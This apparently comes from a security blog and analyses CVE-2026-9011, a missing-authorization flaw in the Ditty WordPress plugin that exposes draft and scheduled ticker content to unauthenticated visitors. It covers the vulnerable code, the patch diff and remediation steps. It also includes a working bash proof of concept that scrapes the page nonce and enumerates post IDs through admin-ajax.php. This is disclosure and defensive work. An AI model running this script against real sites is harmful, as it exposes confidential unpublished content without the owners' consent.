Ditty – Responsive News Tickers, Sliders, and Lists WordPress plugin banner

CVE-2026-9011: Ditty Plugin Exposes Non-Public Content to Anyone (CVSS 7.5)

CVE-2026-9011 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Ditty – Responsive News Tickers, Sliders, and Lists WordPress plugin. Any unauthenticated visitor can read the full content of non-public Dittys — including drafts, scheduled announcements, and disabled entries — by sending a crafted AJAX request with an integer post ID.

Vulnerability Summary

FieldValue
Plugin NameDitty – Responsive News Tickers, Sliders, and Lists
Plugin Slugditty-news-ticker
CVE IDCVE-2026-9011
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeMissing Authorization to Unauthenticated Sensitive Information Disclosure
Affected Versions<= 3.1.65
Patched Version3.1.66
PublishedMay 21, 2026
ResearcherMd. Moniruzzaman Prodhan (NomanProdhan) - Knight Squad
Wordfence AdvisoryLink

Description

The Ditty plugin registers a front-end AJAX action called ditty_init. This action loads and returns the full content of a Ditty (a news ticker or list) when given a post ID.

The plugin also has a non-AJAX version of the same logic. That non-AJAX path checks whether the requested Ditty has a publish post status before returning anything. The AJAX path does not.

Because of this missing check, any unauthenticated attacker can call the AJAX endpoint and retrieve items from Dittys in any status — draft, pending, scheduled, or disabled. The attacker only needs a valid nonce, which the plugin embeds in the HTML of every page that shows a Ditty widget.

Technical Analysis

Hook Registration

The vulnerability starts in includes/class-ditty-singles.php, in the class constructor:

// Line 32
add_action( 'wp_ajax_ditty_init', array( $this, 'init_ajax' ) );
// Line 33
add_action( 'wp_ajax_nopriv_ditty_init', array( $this, 'init_ajax' ) );

The nopriv suffix on line 33 tells WordPress to call init_ajax() for visitors who are not logged in. This is correct for a widget that needs to load published content on the front end. The problem is that init_ajax() does not restrict its response to published content.

Nonce Exposed to All Visitors

The plugin’s script loader (includes/class-ditty-scripts.php) hooks into wp_enqueue_scripts, which runs on every front-end page load. It generates a nonce and embeds it in the page HTML:

// Line 461–463
wp_add_inline_script( 'ditty', 'const dittyVars = ' . json_encode( apply_filters( 'dittyVars', array(
    'ajaxurl'  => admin_url( 'admin-ajax.php' ),
    'security' => wp_create_nonce( 'ditty' ),   // <-- embedded for all visitors

This outputs a JavaScript block like the following on every page that has a Ditty widget:

const dittyVars = {"ajaxurl":"\/wp-admin\/admin-ajax.php","security":"abc123def456",...};

Any unauthenticated visitor can load the page, read the source, and extract the security value. The nonce is valid for 24 hours.

The Vulnerable init_ajax() Function

The AJAX handler at line 220 of class-ditty-singles.php:

public function init_ajax() {
    check_ajax_referer( 'ditty', 'security' );   // Line 221 — nonce check only, NOT auth

    $id_ajax = isset( $_POST['id'] ) ? intval( $_POST['id'] ) : false;   // Line 222
    // ... other params ...

    // Line 257 — reads status but never acts on it
    $status = get_post_status( $id_ajax );

    // Line 266 — loads ALL items for any Ditty, regardless of status
    $items = $this->get_display_items( $id_ajax, 'cache', $custom_layout_settings_ajax );

    $args['status'] = $status;   // status included in response but not checked
    $args['items']  = $items;    // full content returned unconditionally

    wp_send_json( $data );       // Line 279 — response sent
}

The key problem: $status is read on line 257 and included in the response, but there is no if statement that stops execution when the status is not publish.

Comparison with the Non-AJAX Path

The non-AJAX init() method in the same file (line 288) has the correct check:

public function init( $atts ) {
    $ditty_id = $atts['data-id'];

    // Line 300–302 — this check is MISSING from init_ajax()
    if ( 'publish' != get_post_status( $ditty_id ) ) {
        return false;
    }
    // ...
}

The non-AJAX path blocks execution for non-published Dittys. The AJAX path does not. This inconsistency is the root cause.

Why the Nonce Does Not Provide Protection

A WordPress nonce is a CSRF token. It proves that a request originated from a specific browser session, not that the user is authenticated. For logged-out users, WordPress generates valid nonces tied to the visitor’s session for up to 24 hours.

In this case:

Because the nonce is publicly available, passing check_ajax_referer() here provides no real access control.

Proof of Concept

Disclaimer: This PoC is for authorized security testing and educational purposes only. Do not test against sites you do not own or have explicit permission to test.

Prerequisites:

Step 1 — Extract the nonce from the front-end page:

TARGET="http://example.com"

NONCE=$(curl -s "$TARGET/" \
  | grep -o '"security":"[^"]*"' \
  | head -1 \
  | cut -d'"' -f4)

echo "Nonce: $NONCE"

Step 2 — Enumerate Ditty post IDs and read non-public content:

for ID in $(seq 1 200); do
  RESPONSE=$(curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
    --data-urlencode "action=ditty_init" \
    --data-urlencode "id=$ID" \
    --data-urlencode "security=$NONCE")

  # Check if the response contains Ditty data
  if echo "$RESPONSE" | grep -q '"items"'; then
    STATUS=$(echo "$RESPONSE" | python3 -c \
      "import sys,json; d=json.load(sys.stdin); print(d.get('args',{}).get('status',''))" 2>/dev/null)
    TITLE=$(echo "$RESPONSE" | python3 -c \
      "import sys,json; d=json.load(sys.stdin); print(d.get('args',{}).get('title',''))" 2>/dev/null)

    echo "ID $ID | status=$STATUS | title=$TITLE"

    if [ "$STATUS" != "publish" ] && [ -n "$STATUS" ]; then
      echo "  --> Non-public Ditty disclosed!"
      echo "$RESPONSE" | python3 -m json.tool
    fi
  fi
done

Expected response for a draft Ditty (ID = 42):

{
  "display_type": "ticker",
  "args": {
    "id": 42,
    "title": "Confidential Q3 Announcement",
    "status": "draft",
    "items": [
      {
        "content": "We will be announcing layoffs next quarter..."
      }
    ]
  }
}

The response returns "status": "draft" alongside the full item content — content the administrator explicitly withheld from public view.

Patch Analysis

Version 3.1.66 adds three authorization checks at the beginning of init_ajax(), before any data is retrieved:

+  // Validate the requested Ditty exists and is the correct post type
+  if ( ! $id_ajax || 'ditty' !== get_post_type( $id_ajax ) ) {
+      wp_send_json_error();
+  }
+
+  // Only published Dittys are publicly accessible. Non-published Dittys
+  // may only be loaded by users with the capability to edit that specific Ditty.
+  if ( 'publish' !== get_post_status( $id_ajax ) && ! current_user_can( 'edit_post', $id_ajax ) ) {
+      wp_send_json_error();
+  }
+
+  // The editor flag should only be honored for users with the capability
+  // to edit Dittys to avoid exposing editor-only data publicly.
+  if ( $editor_ajax && ! current_user_can( 'edit_dittys' ) ) {
+      $editor_ajax = false;
+  }

The same status and capability checks are also added to live_updates_ajax(), which was vulnerable to the same class of issue.

The fix aligns the AJAX path with the non-AJAX init() method that already had the correct status check.

Timeline

DateEvent
May 19, 2026Patched version 3.1.66 released
May 21, 2026Wordfence advisory published
May 24, 2026This blog post published

Remediation

Update the Ditty plugin to version 3.1.66 or later.

Go to WordPress Admin → Plugins → Installed Plugins, find Ditty, and click Update Now. You can also download the latest version directly from wordpress.org/plugins/ditty-news-ticker.

If you cannot update immediately, consider disabling the plugin until you can. Any non-public Dittys may have had their content exposed to unauthenticated visitors prior to the update.

References

  1. Wordfence Advisory — CVE-2026-9011
  2. CVE Record — CVE-2026-9011
  3. Vulnerable code — class-ditty-singles.php#L220 (3.1.65)
  4. Vulnerable code — class-ditty-singles.php#L33 (3.1.65)
  5. Nonce exposure — class-ditty-scripts.php#L463 (3.1.65)
  6. Patch changeset

Frequently Asked Questions

What is CVE-2026-9011?

CVE-2026-9011 is a CVSS 7.5 (High) Missing Authorization vulnerability in the Ditty WordPress plugin. Any unauthenticated visitor can read the full content of non-public Dittys, including drafts, pending, scheduled, and disabled entries.

Which versions of Ditty are affected by CVE-2026-9011?

All versions up to and including 3.1.65 are affected. Version 3.1.66 contains the fix.

What can an attacker do with CVE-2026-9011?

An attacker can retrieve the full item content of any Ditty that is not published. This includes drafts, scheduled announcements, pending content, and disabled entries that the site administrator intentionally withheld from public view.

Does an attacker need to be logged in to exploit CVE-2026-9011?

No. Any visitor to the site can exploit this vulnerability without an account. The only requirement is that at least one Ditty widget is embedded on a publicly accessible page.

How do I fix CVE-2026-9011 in Ditty?

Update Ditty to version 3.1.66 or later from the WordPress admin dashboard or wordpress.org.

Has Ditty been patched for CVE-2026-9011?

Yes. Version 3.1.66 was released on May 19, 2026 and resolves this vulnerability.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee